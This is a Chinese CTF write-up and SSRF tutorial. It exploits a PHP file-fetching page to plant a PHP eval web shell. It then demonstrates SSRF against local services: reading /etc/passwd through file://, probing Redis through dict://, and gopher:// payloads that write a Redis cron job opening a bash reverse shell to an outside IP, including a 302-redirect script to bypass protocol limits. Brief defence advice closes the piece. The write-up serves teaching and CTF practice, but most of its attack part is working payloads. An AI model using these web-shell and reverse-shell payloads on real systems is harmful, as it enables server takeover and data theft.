<?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = "upload/".$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('SYCwaf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)"; }else{ echo "Hello.Geeker"; }
file_put_contents($path, file_get_contents($url))
从URL获取内容然后写入path。
path限制了..,并且和upload/拼接。
url中必须以http://127.0.0.1/开头。
所以我们只能通过SSRF让服务器去请求本地的URL然后写入path。
先访问http://47.106.142.99:8003/?file=http://127.0.0.1/&path=test.php
提示console.log(upload/test.php update successed!)
可以看到url访问了http://127.0.0.1/,然后把读取到的内容写入到了test.php。
发现只有console.log(upload/test.php update successed!)
中的test.php是我们可控的,所以我们可以把test.php构造为一个shell,然后用URL请求这个shell的页面,最后写入path。
尝试构造http://47.106.142.99:8003/index.php?file=http://127.0.0.1/&path=%3C%3Fphp%20eval%28%24_POST%5Bc%5D%29%3B%20%3F%3E
查看页面源代码
我们可以让URL请求这个页面然后写入path文件。这里需要URL二次编码,因为最外层的file参数被URL解码了两次。
构造http://47.106.142.99:8003/index.php?file=http://127.0.0.1/?file=http://127.0.0.1/%26path%3D%253C%253Fphp%2520eval%2528%2524_POST%255Bc%255D%2529%253B%2520%253F%253E&path=shell.php
成功getshell
SSRF简介
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:
危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
- 攻击运行在内网或本地的应用程序(比如溢出);
- 对内网web应用进行指纹识别,通过访问默认文件实现;
- 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
- 利用file协议读取本地文件等。
漏洞利用
本地利用
cURL默认支持的协议非常多
root@:~# curl -V curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
本地利用姿势
# 利用file协议查看文件 curl -v 'file:///etc/passwd' # 利用dict探测端口 curl -v 'dict://127.0.0.1:22' curl -v 'dict://127.0.0.1:6379/info' #Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache, 也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 # 利用gopher协议反弹shell curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
远程利用
漏洞代码ssrf.php(未做任何SSRF防御)
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url);
远程利用方式
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); // 限制为HTTPS、HTTP协议 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
远程利用方式
此时,再使用dict协议已经不成功。
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL
那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。
我们继续构造一个302跳转服务,代码如下302.php:
<?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
利用
# 利用dict探测端口 dict://127.0.0.1:6379/info curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info' # 任意文件读取 curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd' #利用gopher协议反弹shell curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3 %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
防御
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
-
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
-
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
-
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
-
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。